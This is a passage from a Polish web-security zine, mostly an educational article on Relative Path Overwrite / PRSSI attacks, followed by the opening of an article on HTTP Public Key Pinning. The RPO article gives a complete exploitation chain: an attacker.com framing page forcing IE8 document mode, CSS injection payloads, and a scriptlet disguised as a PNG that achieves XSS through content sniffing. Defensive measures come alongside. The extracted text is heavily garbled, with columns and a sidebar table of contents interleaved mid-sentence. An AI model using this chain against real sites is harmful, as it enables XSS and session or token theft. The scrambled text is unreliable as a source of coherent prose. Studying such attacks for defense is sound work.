ple). W zależności od konfiguracji serwera, frameworka czy nawet samej aplikacji webowej <link rel=”stylesheet” href=”style.css” />
istnieją także inne metody manipulacji adresem URL wywołującym opisywane zachowanie
– odsyłam do lektury zasobów wskazanych w materiałach dodatkowych na końcu artykułu.
Ochrona podatnych aplikacji
webowych za pomocą wirtualnych
W pierwszym przypadku przeglądarka wyśle do serwera vulnerable.com żądanie poprawek w ModSecurity
JAK SERWER OBSŁUGUJE ADRES URL HTTP GET /style.css, otrzymując w odpowiedzi selektory CSS z listingu 2, co moż-
Jednym z etapów przetwarzania żądania przez serwer WWW (serwer aplikacyjny) na zobaczyć podczas analizy ruchu sieciowego (rysunek 2). W testowanej aplikacji Czym jest atak Padding Oracle
jest podjęcie decyzji, który moduł (uchwyt, biblioteka, rozszerzenie) powinien final- efektem będzie wyświetlenie strony sklepu z zielonym nagłówkiem (rysunek 1).
nie obsłużyć żądanie. Każdy serwer robi to w odmienny sposób, ale w większości Czym jest Bit-Flipping
przypadków decyzja podejmowana jest na podstawie rozszerzenia zasobu, o który
prosi klient. I tak: żądanie o zasób /index.php zostanie przekazane do interpretera PHP, Bezpieczeństwo aplikacji
natomiast /index.aspx trafi na pipeline ASP. Pliki typu style.css, script.js lub image.png webowych: podatności
w mechanizmach uploadu
są z reguły obsługiwane przez uchwyt plików statycznych, którego zadaniem jest
odczytanie pliku z dysku i odesłanie jego treści do użytkownika.
Ukryte katalogi i pliki jako
Zgodnie z powyższym, odwiedzenie strony http://vulnerable.com/vuln.php zo-
źródło informacji o aplikacjach
stanie odebrane przez uchwyt PHP, który przeczyta plik vuln.php na serwerze, prze- internetowych
śle go do interpretera języka PHP, a odpowiedź odeśle do przeglądarki internauty. Rysunek 2. Ruch sieciowy podczas odwiedzenia strony http://vulnerable.com/vuln.php.

Co ciekawe, okazuje się, że odwiedzenie strony http://vulnerable.com/vuln.php/ Czym jest i jak wykorzystać
vizzdoom oraz http://vulnerable.com/vuln.php zostanie obsłużone w dokładnie Ciekawsze jest jednak zachowanie przeglądarki dla drugiego adresu (http://vulne- podatność Relative Path
taki sam sposób – w obu przypadkach do interpretera PHP trafi zawartość pliku rable.com/vuln.php/put/evil/here), gdyż tutaj żądanie HTTP będzie skierowane do Overwrite/Path–Relative Style
vuln.php. Jest to nieintuicyjne – można by się spodziewać, że pierwsze żądanie zo- zasobu /vuln.php/put/evil/style.css. Zamiast arkusza CSS serwer w odpowiedzi zwró- Sheet Import (RPO/PRSSI)
stanie obsłużone przez uchwyt plików statycznych, który odszuka plik vizzdoom ci kod HTML z listingu 1, co spowoduje błędne wyświetlenie nagłówka (prawidłowy
w katalogu vuln.php serwera. Tak się jednak nie stanie. I właśnie takie zachowanie powinien być zielony, natomiast błędny jest wyświetlany inaczej) – porównaj rysu- Mechanizm HTTP Public Key
w adresach URL jest wykorzystywane w podatnościach RPO/PRSSI. nek 1 oraz 3). Pinning
Jak widać, manipulując adresem URL wpłynęliśmy na załadowanie innego za-
Uchwyty do obsługi dynamicznej treści WWW mogą ignorować niektóre elementy adresu sobu, niż przewidział to programista strony (rysunek 4). W obecnej sytuacji prze-
URL. Jest to łatwe do przetestowania na własnych serwerach – wystarczy odwiedzić adres
kończący się rozszerzeniem .php, .asp, .aspx, .jsp, a następnie dopisać po nim ciąg /testing/ glądarka wczytuje stronę vuln.php z arkuszem styli, którego zawartością jest… kod
example i przeanalizować odpowiedź. strony vuln.php.

56 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Czym jest i jak wykorzystać podatność…

sekurak.pl /  offline 
Wstrzyknięcie źródła HTML do arkusza styli to sztandarowy przykład ataku
Path–Relative Style Sheet Injection, który jest spowodowany manipulacją odwołań
relatywnych (Relative Path Overwrite).
Mechanizm Service Workers
Listing 3. Adres URL rozpoczynający atak RPO/PRSSI w domenie vulnerable.com.
Wszystko o CSP 2.0 – Content
http://vulnerable.com/vuln.php/put/evil/here
Security Policy jako uniwersalny
strażnik bezpieczeństwa aplikacji
webowej

Ochrona podatnych aplikacji


webowych za pomocą wirtualnych
poprawek w ModSecurity
Rysunek 5. Moduł skanera Burp Suite PRO wykrywa zagrożenie manipulacji ścieżki w celu załadowania złośliwych
reguł CSS i raportuje je jako “Path–relative style sheet import”.
Czym jest atak Padding Oracle

DOSTARCZENIE ŁADUNKU ZE ZŁOŚLIWYM KODEM Czym jest Bit-Flipping


Załadowanie arkusza CSS o zawartości będącej kodem HTML nie powoduje
Rysunek 3. Wygląd strony i ruch sieciowy podczas odwiedzenia strony http://vulnerable.com/vuln.php/put/evil/here.
jeszcze żadnych strat. Praktyczna eksploatacja tej „podatności” to zazwyczaj bardzo Bezpieczeństwo aplikacji
skomplikowany, wieloetapowy proces. webowych: podatności
w mechanizmach uploadu
Najpierw zastanówmy się, w jaki sposób możemy dostarczyć sam ładunek ze zło-
śliwym kodem. Ponieważ na wejściu interpretera CSS pojawi się źródło atakowanej
Ukryte katalogi i pliki jako
strony, dostarczenie payloadu jest dość proste – wystarczy w jakikolwiek sposób źródło informacji o aplikacjach
wpłynąć na zawartość atakowanej strony. internetowych
Można to zrobić następująco:
1. manipulując parametrami URL, które wypisywane są na stronie – do czego świetnie Czym jest i jak wykorzystać
nadają się wszelkiego rodzaju wyszukiwarki działające z parametrem ?search; podatność Relative Path
2. przez dodanie nowego elementu do bazy serwisu, który później będzie wyświe- Overwrite/Path–Relative Style
tlony (tzw. „Second order injection”) – jeśli nie widzimy bezpośredniej refleksji Sheet Import (RPO/PRSSI)
Rysunek 4. Zamiast definicji stylów (lub odpowiedzi 404 Not Found), serwer odpowiada jak na żądanie HTTP GET /vuln.php.
parametru URL.
Mechanizm HTTP Public Key
W atakach RPO nie musimy zawsze dołączać tej samej strony (tutaj: vuln.php) – zapraszam do
lektury na temat innych wariantów udostępnionych w sekcji „Źródła i materiały dodatkowe”. Na potrzeby dalszej analizy użyję drugiej metody. Pinning
W tym celu, jako sprzedawca serwisu dodam nowy produkt, który zostanie wy-
Warto również dodać, że błędy RPO/PRSSI od pewnego czasu są raportowane przez świetlony na stronie głównej. Strona dość restrykcyjnie koduje kluczowe znaki HTML,
narzędzie Burp Suite Pro (w trybie active scan, ale czasem również w passive), co zabezpieczając się przed klasycznymi atakami XSS, jednak bez problemów udaje mi
można zobaczyć na rysunku 5. się dodać przedmiot o nazwie: * {color: red; font-size: x-large}.

57 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Czym jest i jak wykorzystać podatność…

sekurak.pl /  offline 
Warto zastanowić się, dlaczego RPO omawia się głównie w kontekście wstrzyknięć CSS Przeglądarki z rodziny Internet Explorer potrafią korzystać z trybu wstecznej kom-
– przecież relatywna ścieżka może dotyczyć skryptów JS (<script src="script.js">). patybilności (Document Mode). W takiej sytuacji, np. IE 11, wyświetli stronę, korzysta-
Otóż po wstrzyknięciu na wejście interpretera Javascript trafi kod rozpoczynający się od
<!doctype html> lub <html>. Spowoduje to zgłoszenie błędu składni oraz przerwanie dalsze- jąc z mechanizmów IE 8. Zachowanie takie można włączyć przez dodanie znacznika
go przetwarzania „skryptu”. HTML <meta http-equiv="X-UA-Compatible"> do sekcji <head>. Starsze wer- Mechanizm Service Workers
Interpreter CSS jest za to bardziej tolerancyjny — w momencie napotkania błędu, może sje Internet Explorera nie walidują typu MIME plików CSS, więc strona wyświetlona
podjąć próbę dalszej interpretacji pliku (w szczególności gdy strona wyświetlana jest Wszystko o CSP 2.0 – Content
w tzw. „Quirks Mode”). w Document Mode IE 8 spowoduje ominięcie restrykcji dla złośliwego ładunku CSS.
Security Policy jako uniwersalny
W jaki sposób spowodować, aby strona http://vulnerable.com/vuln.php była
strażnik bezpieczeństwa aplikacji
wyświetlana w trybie wstecznej kompatybilności Internet Explorera? Przecież nie
webowej
OMINIĘCIE WALIDACJI TYPU MIME możemy tak po prostu zmodyfikować jej kodu i dodać tag <meta>…
Na liście przedmiotów sklepu wyświetlany jest teraz szkodliwy ładunek. Odwie- Aby kontynuować atak, trzeba znać ciekawą właściwość trybu wstecznej kom- Ochrona podatnych aplikacji
dzając adres z listingu 3, sprowokujemy sytuację, w której przeglądarka wczyta ar- patybilności IE – otóż ten tryb może być dziedziczony z dokumentu rodzica, bez webowych za pomocą wirtualnych
kusz styli ze znacznikami HTML oraz selektorem * {color: red; font-size: restrykcji nakładanych przez reguły Same Origin Policy. Jeśli testowana strona poprawek w ModSecurity
x-large}. Powinniśmy spodziewać się strony, której tekst zostanie wyświetlony na (vuln.php) nie posiada definicji X-UA-Compatible, wartość taka może zostać po-
czerwono. brana z nadrzędnego kontekstu przeglądarki – czyli przykładowo – ze strony (ataku- Czym jest atak Padding Oracle
Niestety, tak się nie stanie – współczesne przeglądarki zauważą, że arkusz CSS jącego), która zaramkuje (znacznikiem iframe) testowaną stronę.
posiada podejrzany typ MIME (Content-Type odpowiedzi text/html). Dlatego też Dalsza demonstracja ataku, omijająca restrykcje typu MIME, kierowana będzie Czym jest Bit-Flipping
w konsoli Javascript przeglądarki pojawi się komunikat błędu informujący o zaprze- na użytkowników Internet Explorer 11 – podczas pisania artykułu jest to przeglądar-
staniu przetwarzania podejrzanego pliku (rysunek 6). ka oficjalnie wspierana i aktualizowana w systemach Windows 7/8/8.1. Bezpieczeństwo aplikacji
Powyższy mechanizm zatrzyma próbę ataku we wszystkich współczesnych Jako agresor tworzę dokument HTML na fikcyjnej domenie attacker.com, które- webowych: podatności
w mechanizmach uploadu
przeglądarkach internetowych – Firefox, Chrome, Safari, Internet Explorer – w wer- go kod widnieje na listingu 3. Strona atakującego:
sjach 9–11 oraz MsEdge. Czyżby ofiarą ataku mogli być tylko użytkownicy Internet
Ukryte katalogi i pliki jako
Explorer 8 (który używany jest wyłącznie w przestarzałym systemie Windows XP)? »» tworzy ramkę do http://vulnerable.com/vuln.php/put/evil/here, źródło informacji o aplikacjach
Niekoniecznie. »» w sekcji <head> włącza tryb Document Mode IE8 (X-UA-Compatible). internetowych

Po odwiedzeniu strony agresora w przeglądarce IE ramka będzie renderowana przy po- Czym jest i jak wykorzystać
mocy mechanizmów IE 8, gdyż ramka odziedziczy Document Mode z ramkującej strony. podatność Relative Path
Overwrite/Path–Relative Style
Listing 4. Kod strony atakującego, który wymusza użycie trybu wstecznej kompatybilności IE
Sheet Import (RPO/PRSSI)
dla atakowanej strony.

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”> Mechanizm HTTP Public Key
<html>
<head> Pinning
<meta http-equiv=”X-UA-Compatible” content=”IE=EmulateIE8”>
</head>
<body>
<iframe height=”500” width=”500” src=”http://vulnerable.com/vuln.php/put/evil/
here”></iframe>
</body>
Rysunek 6. Przeglądarki mogą blokować ładowanie zasobów z podejrzanym typem MIME (powyżej: Firefox). </html>

58 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Czym jest i jak wykorzystać podatność…

sekurak.pl /  offline 
W ten sposób omijamy restrykcje przeglądarek, które odrzucają próbę załado-
wania arkusza CSS z nagłówkiem Content-Type: text/html.
Chociaż w ten sposób uda nam się ominąć restrykcje IE 11 dla typu MIME, atak
dalej się nie powiedzie. Zawartość ramki nadal nie zawiera strony z czerwonymi na- Mechanizm Service Workers
pisami, co oznacza, że ładunek * {color: red; font-size: x-large} mimo
poprawnego załadowania – nie zadziałał. Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
strażnik bezpieczeństwa aplikacji
OSZUKANIE PARSERA CSS webowej
W sekcji „Dostarczenie ładunku ze złośliwym kodem” wspomniałem, że parser
CSS nie jest tak restrykcyjny, jak interpreter Javascript. Niestety, nie jest on na tyle Ochrona podatnych aplikacji
liberalny, aby poprawnie zinterpretować linię: webowych za pomocą wirtualnych
Rysunek 7. Udane wstrzyknięcie kodu CSS na testowanej stronie. poprawek w ModSecurity
<li>* {color: red; font-size: x-large}</li>

Aby urealnić atak, możemy pokusić się o załadowanie złośliwego obrazka oraz dopi- Czym jest atak Padding Oracle
Znaczniki <li></li> pojawiają się w kodzie strony, gdyż każdy dodawany w serwi- sanie własnego tekstu w określone miejsca strony. Ładunek wykonujący te operacje
sie przedmiot jest elementem nieuporządkowanej listy HTML. Refleksja tego przed- przedstawia listing 5, zaś jego efekt można zobaczyć na rysunku 8. Czym jest Bit-Flipping
miotu jest ujęta w znaczniki <li>, które nie są poprawnym selektorem CSS. Parser
Listing 5. Wycinek pliku ze stylami, który zawiera złośliwy ładunek. Bezpieczeństwo aplikacji
zauważy ten błąd i przejdzie do analizy reszty (wstrzykniętego) pliku.
Aby wstrzyknięcie złośliwych właściwości CSS doszło do skutku, należy lekko webowych: podatności
<li>{}*{color:red; font-size: x-large}ul li:after{content:” (TEN SPRZEDAWCA TO
OSZUST!)”}body{background-image:url(‘http://static.fjcdn.com/pictures/I+am+offens w mechanizmach uploadu
zmodyfikować nasz ładunek. W tym celu dodajemy do serwisu przedmiot, który
ive+and+i+find+this+black+come_3d9dcc_3223497.jpg’);}</li>
zaczyna się od znaków {}, po których dodajemy złośliwy selektor (*, body, p lub
Ukryte katalogi i pliki jako
dowolny inny) wraz z definicjami. Wówczas otrzymamy:
źródło informacji o aplikacjach
<li>{}* {color: red; font-size: x-large}</li> internetowych

Czym jest i jak wykorzystać


Pierwsza (czerwona) część zostanie zinterpretowana jako niepoprawny selektor podatność Relative Path
o pustej liście właściwości. Parser odrzuci tę część i spróbuje znaleźć kolejny, po- Overwrite/Path–Relative Style
prawny fragment. Znak gwiazdki jest poprawnym selektorem CSS, dlatego zielona Sheet Import (RPO/PRSSI)
część zostanie wzięta pod uwagę przez przeglądarkę. Pozostała część pliku jest nie-
istotna, ponieważ udało się nam już wstrzyknąć to, co chcieliśmy. Mechanizm HTTP Public Key
W tym momencie, ofiara odwiedzająca domenę attacker.com, zobaczy ramkę Pinning
z zawartością vuln.php z czerwonym, powiększonym tekstem – co potwierdza uda-
ne wstrzyknięcie CSS (rysunek 7).
W końcu sukces! Rysunek 8. Demonstracja udanego wektora ataku. CSS Injection pokazany w IE11 dzięki ramkowaniu, Relative
Path Override oraz trybie kompatybilności wstecznej przeglądarki.

59 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Czym jest i jak wykorzystać podatność…

sekurak.pl /  offline 
XSS PRZEZ CSS, CZYLI DŁUGA DROGA DO GROŹNEJ Listing 6. Skryptlet będący elementem ataku XSS.
PODATNOŚCI
<scriptlet>
Atak na wizerunek korporacji może być smacznym kąskiem dla agresora, jednak <implements type=”behavior”/>
w większości wypadków, tak skomplikowane działania powodujące zmianę wyglą- <script>alert(“scriptlet XSS on “ + document.domain)</script> Mechanizm Service Workers
</scriptlet>
du strony, nie będą się opłacały. Co innego, gdyby przez manipulację stylu można
było wykonać dowolny kod Javascript. Czy XSS przez CSS Injection jest dzisiaj jesz- Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
cze możliwy? Teraz musimy zadbać o załadowanie tego pliku na serwer. Mogą w tym pomóc funk-
strażnik bezpieczeństwa aplikacji
W Internet Explorer 7 pojawiły się dynamiczne właściwości CSS, zwane również cje serwisu związane z dodawaniem nowych obrazków lub awatarów. Dla uprosz- webowej
CSS Expressions (dynamic properties). W Internet Explorer 8–10 już z nich zrezygno- czenia załóżmy, że możemy wgrać dowolny plik o rozszerzeniu .png na domenę
wano, ale Expressions dalej działały w nich w trybie wstecznej kompatybilności. Od vulnerable.com. Zapisujemy więc scriptlet jako plik xss.png i ładujemy go na stronę. Ochrona podatnych aplikacji
razu na myśl przychodzi zaramkowanie strony w starym Document Mode i wywo- Ostatnim krokiem będzie ominięcie wymagania odnośnie typu MIME skryptle- webowych za pomocą wirtualnych
łanie XSS przez wstrzyknięcie CSS Expression. Microsoft jednak całkowicie usunął tu. Serwer, zwracając plik http://vulnerable.com/xss.png, nie odpowie nagłówkiem poprawek w ModSecurity
dynamiczne właściwości CSS w IE 11 i taki atak nie jest już możliwy. Content-Type: text/x-scriptlet, co uniemożliwi uruchomienie właściwości
Internet Explorer (w odróżnieniu od MsEdge) nadal wspiera inne, „egzotyczne” behavior w CSS. Aby obejść to zabezpieczenie, atakujący musi skorzystać z kolej- Czym jest atak Padding Oracle
mechanizmy, które mogą pomóc nam w ataku. Jednym z takich mechanizmów jest nej słabości przeglądarki – tym razem będzie to Content Sniffing.
DHTML Behaviors – wprowadzony w IE 5.5, działający aż do IE 10 (oraz w Document Content Sniffing to mechanizm, który pozwala przeglądarce określić, w jaki spo- Czym jest Bit-Flipping
Mode w najnowszej wersji Internet Explorer). W tym mechanizmie właściwość CSS sób ma przetworzyć plik, niezależnie od jego wartości Content-Type. Coś, co jest
może odwoływać się do pliku skryptletu (.sct scriptlet), który może wykonać kod obrazkiem (image/png), może więc okazać się stroną HTML, skryptem lub innym Bezpieczeństwo aplikacji
Javascript. zasobem. webowych: podatności
w mechanizmach uploadu
Aby skryptlet zadziałał, musi znajdować się na tej samej domenie, co ładujący go Internet Explorer aktywuje Content Sniffing m.in. podczas przetwarzania odpo-
arkusz styli. W dodatku plik skryptletu musi zwracać w odpowiedzi HTTP typ MIME wiedzi HTTP z nagłówkiem Content-Type o wartości:
Ukryte katalogi i pliki jako
text/x-scriptlet. Są to spore utrudnienia dla atakującego, ale postaramy się je »» text/html, źródło informacji o aplikacjach
obejść. »» text/plain, internetowych
Zacznijmy od tego, co już potrafimy – ramkujemy stronę http://vulnerable. »» image/*,
com/put/evil/here i wstrzykujemy styl CSS przez dodanie produktu o następującej »» video/mpeg, Czym jest i jak wykorzystać
nazwie: »» video/avi. podatność Relative Path
Overwrite/Path–Relative Style
{}*{color:red;}body{behavior: url(„/ODWOLANIE-DO-SCRIPTLETU“)}
Zgodnie z powyższym, gdy załadujemy obrazek http://vulnerable.com/xss.png, Sheet Import (RPO/PRSSI)
przeglądarka otrzyma odpowiedzi z nagłówkiem Content-Type: image/png,
Działanie właściwości behavior będzie zaimplementowane w skryptlecie. Ramka więc włączy mechanizm Content Sniffing. Analizując odebrane dane, Internet Mechanizm HTTP Public Key
w domenie atakującego jest tu potrzebna, aby strona obsłużyła wstrzyknięcie CSS Explorer wykryje, że faktyczną zawartością ładowanego zasobu jest plik o typie Pinning
oraz włączyła archaiczny mechanizm skryptletów. MIME text/x-scriptlet.
Następnie tworzymy sam skryptlet. Dla demonstracji jego implementacja Mamy już więc wszystkie elementy układanki. Skutecznie wykonany atak XSS
będzie pokazywać informację w kontekście jakiej domeny wykonano atak XSS w kontekście vulnerable.com będziemy mogli zobaczyć po wykonaniu następują-
(listing 6). cych kroków:

60 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Czym jest i jak wykorzystać podatność…

sekurak.pl /  offline 
1. dodanie produktu o nazwie z listingu 7, nie skryptletów oraz ominięcie walidacji typów MIME.
2. załadowanie skryptletu xss.png, 8. Nakłaniamy ofiarę, aby odwiedziła domenę attacker.com przy użyciu dowolnej
3. odwiedzenie strony w domenie attacker.com. wersji Internet Explorer. Atak XSS wykona się w kontekście vulnerable.com.
Mechanizm Service Workers
Końcowy efekt demonstruje rysunek 9. Warto nadmienić, że w trakcie pisania artykułu (początek 2016 roku), udział wersji
Internet Explorera na rynku przeglądarek, na których zadziała powyższy wektor ata- Wszystko o CSP 2.0 – Content
Listing 7. Działający ładunek, uaktywniający skryptlet. Security Policy jako uniwersalny
ku, waha się w przedziale 5–40% (w zależności od źródeł).
strażnik bezpieczeństwa aplikacji
{}*{color:red;}body{behavior: url(„/xss.png“)} webowej
JAK SIĘ CHRONIĆ
Sugerowaną przeze mnie metodą ochrony przeciwko atakom RPO jest dodanie Ochrona podatnych aplikacji
znacznika HTML <base href="http://example.com/" />. Jego celem jest de- webowych za pomocą wirtualnych
finiowanie ścieżki bazowej dla wszystkich elementów „relatywnych” na stronie, co poprawek w ModSecurity
zatrzymuje pierwszy etap ataku. Aby nie pozwolić na nadpisanie wartości elementu
base podczas wstrzyknięć, strona powinna dodatkowo nakładać obostrzenia Con- Czym jest atak Padding Oracle
tent Security Policy dyrektywą base-uri (więcej o CSP w artykule na str. 8-19).
Czym jest Bit-Flipping
Uwaga: Znacznik <base> musi być jednym z pierwszych elementów sekcji head, jeszcze
przed odwołaniami do styli oraz skryptów. Bezpieczeństwo aplikacji
webowych: podatności
w mechanizmach uploadu
Rysunek 9. XSS przez CSS Injection w Internet Explorer 11 – upragnione wykonanie złośliwego kodu Javascript.
Remedium na skomplikowane wektory ataków jest dobra jakość kodu oraz wdra-
żanie metod dogłębnej ochrony (ang. defense in depth). Dlatego, aby uchronić się
Ukryte katalogi i pliki jako
PODSUMOWANIE I WNIOSKI Z ATAKU przed tego rodzaju zagrożeniami, należy w aplikacji webowej: źródło informacji o aplikacjach
Cały wektor ataku, skutkujący wykonaniem złośliwego kodu Javascript w dome- »» deklarować <!DOCTYPE html> w pierwszej linii odpowiedzi strony HTML, internetowych
nie vulnerable.com, wygląda następująco: »» nie pozwalać na „ramkowanie” strony (używaj nagłówków X-Frame-Options
1. Zauważamy, że vulnerable.com jest podatne na atak RPO. oraz Content-Security-Policy z dyrektywą frame-ancestors), Czym jest i jak wykorzystać
2. Wykorzystujemy RPO (http://vulnerable.com/put/evil/here) w celu załadowania »» wyłączyć mechanizm Content Sniffing (nagłówek X-Content-Type-Options: podatność Relative Path
pliku style.css o zawartości strony vuln.php. nosniff), Overwrite/Path–Relative Style
3. Wpływamy na treść strony, dodając produkt o nazwie z listingu 7. Ładunek posia- »» uniemożliwić dziedziczenie trybu wstecznej kompatybilności w IE – dodaj znacz- Sheet Import (RPO/PRSSI)
da właściwość CSS behavior, której implementacja znajduje się w pliku xss.png. nik <meta http-equiv="X-UA-Compatible"content="IE=Edge"> (Edge
4. Dodajemy obrazek na atakowanej stronie, którego zawartością jest skryptlet oznacza tu najnowszą wersję Internet Explorer, a nie tryb „Microsoft Edge”), Mechanizm HTTP Public Key
z listingu 6. »» zwracać poprawny typ MIME oraz informacje o kodowaniu (np. UTF8) w nagłów- Pinning
5. Na domenie attacker.com tworzymy stronę poc-sct-xss.html. kach Content-Type.
6. Dodajemy do niej ramkę ze stroną z punktu 2.
7. Do ramkującej strony dodajemy tag X-UA-Compatible, który spowoduje wy- W poprawieniu jakości kodu mogą pomóc automaty do statycznej analizy.
świetlenie strony poc-sct-xss.html w trybie IE 8 – pozwoli to m.in. na przetwarza-

61 f  PODZIEL SIĘ ZINEM


t f
Adrian 'Vizzdoom' Michalczyk  Czym jest i jak wykorzystać podatność…

sekurak.pl /  offline 
PODSUMOWANIE
Relative Path Override to łatwe w wykryciu zagrożenie, jednak wyrządzenie re-
alnych szkód przy pomocy tej podatności wymaga sporo wysiłku. Obecne przeglą-
darki internetowe są coraz bezpieczniejsze i stopniowo utrudniają wykorzystanie Mechanizm Service Workers
takiej luki. Nie zapominajmy, że doświadczony atakujący przy pomocy RPO/PRSSI
może próbować: Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
»» wpływać na wygląd strony przez CSS (co może skutkować utratą wizerunku, cza-
strażnik bezpieczeństwa aplikacji
sem też niedostępnością serwisu),
webowej
»» wykradać tokeny anty-CSRF (przez co atakujący będzie mógł nakłonić zalogo-
wanego użytkownika do wykonania określonych akcji na stronie), Ochrona podatnych aplikacji
»» wykradać zawartość URL, np. identyfikatory sesji (co grozi przejęciem konta za- webowych za pomocą wirtualnych
logowanego użytkownika), poprawek w ModSecurity
»» czy nawet wykonać XSS (kradzież identyfikatora sesji, kradzież haseł przez key-
loggery webowe i wiele innych…). Czym jest atak Padding Oracle

Jak widać, błędy RPO mogą stymulować poważne podatności – taka sytuacja doty- Czym jest Bit-Flipping
czyła chociażby forum phpBB 3 lub frameworku Cake PHP. Dlatego też nie powin-
niśmy lekceważyć tego zagrożenia i uwzględniać RPO/PRSSI jako element testów Bezpieczeństwo aplikacji
bezpieczeństwa aplikacji webowej. webowych: podatności
w mechanizmach uploadu

Ukryte katalogi i pliki jako


Źródła i materiały dodatkowe
źródło informacji o aplikacjach
)) http://blog.portswigger.net/2015/02/prssi.html internetowych
)) http://blog.innerht.ml/cascading-style-scripting/
)) http://www.mbsd.jp/Whitepaper/rpo.pdf Czym jest i jak wykorzystać
)) http://garethhayes.net/ podatność Relative Path
Overwrite/Path–Relative Style
Sheet Import (RPO/PRSSI)

Adrian 'Vizzdoom' Michalczyk. Interdyscyplinarny bezpiecznik i geek.


Mechanizm HTTP Public Key
Zakochany w dobrej fabule, roleplay’u i fotografii… Pinning
Strona domowa autora: http://adrian.michalczyk.website/

62 f  PODZIEL SIĘ ZINEM


t f
Michał Bentkowski
 Początkujący  |  Średni  |  Zaawansowany  Defensywa  |  Ofensywa 

sekurak.pl /  offline 
Mechanizm HTTP Public Key Pinning z marca 2015, gdy egipska firma MCS Holdings wystawiła nieautoryzowane certy-
fikaty dla kilku domen Google. Dzięki temu pracownicy firmy mogli przeprowadzić
Bezpieczne połączenia przy użyciu protokołu HTTPS stanowią jeden atak typu MiTM (man in the middle) na część użytkowników usług Google, którzy nie
z podstawowych budulców dzisiejszego Internetu. HTTPS zapewnia po- byliby nawet tego świadomi, bowiem przeglądarka internetowa nie wyświetliłaby Mechanizm Service Workers
ufność, integralność oraz autentyczność komunikacji. Ten ostatni cel żadnego ostrzeżenia o błędnym certyfikacie.
jest realizowany dzięki standardowi X.509, który definiuje infrastruktu- Wszystko o CSP 2.0 – Content
rę klucza publicznego. Model zaufania oparty na X.509 ma jednak pew- Security Policy jako uniwersalny
PRZYPINANIE CERTYFIKATÓW
ną fundamentalną wadę, której rozwiązaniem ma być mechanizm HTTP strażnik bezpieczeństwa aplikacji
Aby rozwiązać opisany powyżej problem, w przeglądarkach Chrome oraz Fire- webowej
Public Key Pinning (HPKP).
fox zaczęto stosować przypinanie certyfikatów (certificate pinning). Ten mechanizm
pozwala określić, które urzędy certyfikacji są uprawnione do wystawienia certyfika- Ochrona podatnych aplikacji
JAK DZIAŁA X.509 tu dla danej domeny. Na przykład Google może zdefiniować, że wszystkie certyfi- webowych za pomocą wirtualnych
Jak już wspomniano wyżej, X.509 definiuje infrastrukturę klucza publicznego, umoż- katy dla ich domen muszą zostać podpisane przez urząd certyfikacji Google Inter- poprawek w ModSecurity
liwiając tym samym potwierdzenie, czy host, z którym próbujemy się połączyć, jest net Authority G2. Gdy ten warunek nie zostanie spełniony, przeglądarka wyświetli
tym, za który się podaje. Potwierdzenie jego autentyczności odbywa się przy użyciu ostrzeżenie (rysunek 1.). Dzięki temu, opisany wcześniej przypadek z wystawieniem Czym jest atak Padding Oracle
szeregu certyfikatów. Na samej górze mamy certyfikat główny (root certificate). Ten fałszywego certyfikatu dla domen Google nie powiódłby się.
certyfikat należy do głównego urzędu certyfikującego (root CA) i jest samopodpisa- Czym jest Bit-Flipping
ny (self-signed). Dzisiejsze systemy operacyjne oraz przeglądarki internetowe zawie-
rają kilkadziesiąt zaufanych certyfikatów głównych. Bezpieczeństwo aplikacji
Główne urzędy certyfikujące mogą uprawniać inne podmioty do działania w ich webowych: podatności
w mechanizmach uploadu
imieniu przez wygenerowanie im certyfikatów pośrednich (intermediate certificate),
podpisując je kluczem prywatnym swojego certyfikatu głównego.
Ukryte katalogi i pliki jako
Zazwyczaj ścieżka certyfikacji dla stron internetowych składa się z trzech cer-
źródło informacji o aplikacjach
tyfikatów: certyfikatu głównego, jednego certyfikatu pośredniego oraz certyfikatu internetowych
domeny. Sprawdzenie poprawności łańcucha certyfikatów odbywa się poprzez wa-
lidację podpisów cyfrowych każdego z nich. Jeśli walidacja się powiedzie, przeglą- Czym jest i jak wykorzystać
darka bądź system operacyjny uznają, że połączenie jest zaufane. podatność Relative Path
Gdzie tkwi problem w tym modelu? Overwrite/Path–Relative Style
Główne oraz pośrednie centra certyfikacji nie mają wyszczególnionych konkret- Sheet Import (RPO/PRSSI)
nych domen, do których mogą wystawiać certyfikaty. Oznacza to, że każdy z tych
podmiotów może wystawić zaufany certyfikat dla dowolnej domeny. Jak już wspo- Mechanizm HTTP Public Key
mniano wyżej, głównych urzędów certyfikacji jest kilkadziesiąt, zaś, jak podała or- Pinning
ganizacja EFF (Electronic Frontier Foundation) w prezentacji z 2010 roku, w sumie
wtedy wszystkich zaufanych podmiotów było 1482. Rysunek 1. Ostrzeżenie przeglądarki Chrome w razie użycia nieprzypiętego certyfikatu – informacja o nieprzypię-
Głównym urzędom certyfikacji trudno utrzymać kontrolę nad wszystkimi z nich tym certyfikacie znajduje się na dole komunikatu.
i czasem zdarzają się nadużycia. Ostatni głośny przypadek tego typu pochodzi

63 f  PODZIEL SIĘ ZINEM


t f
Michał Bentkowski  Mechanizm HTTP Public Key Pinning

sekurak.pl /  offline 
Mechanizm przypinania certyfikatów nie jest nowym „wynalazkiem”; w Chrome znajdzie w łańcuchu certyfikatów żadnego certyfikatu pasującego do jakiegokol-
jest stosowany już od 2011 roku. Dotychczas jednak polegał na tym, że w przeglą- wiek odcisku, nie pozwoli otworzyć danej witryny. Nie ma znaczenia, z którego cer-
darce zdefiniowano listę konkretnych domen oraz przypiętych certyfikatów. tyfikatu weźmiemy odcisk; wybór jest w gestii administratora. Może zatem to być
zarówno certyfikat głównego CA, jak i certyfikat domeny. Trudno jednoznacznie Mechanizm Service Workers
NAGŁÓWEK HTTP PUBLIC-KEY-PINS (HPKP) powiedzieć, który wybór jest najlepszy; jeśli jednak spodziewamy się, że często bę-
W kwietniu 2015 roku została opublikowana finalna wersja RFC 7469, w którym dziemy zmieniać certyfikaty, najsensowniej będzie wskazać albo certyfikat główny, Wszystko o CSP 2.0 – Content
Security Policy jako uniwersalny
zdefiniowano nagłówek odpowiedzi Public-Key-Pins, dzięki któremu właściciel do- albo pośredni.
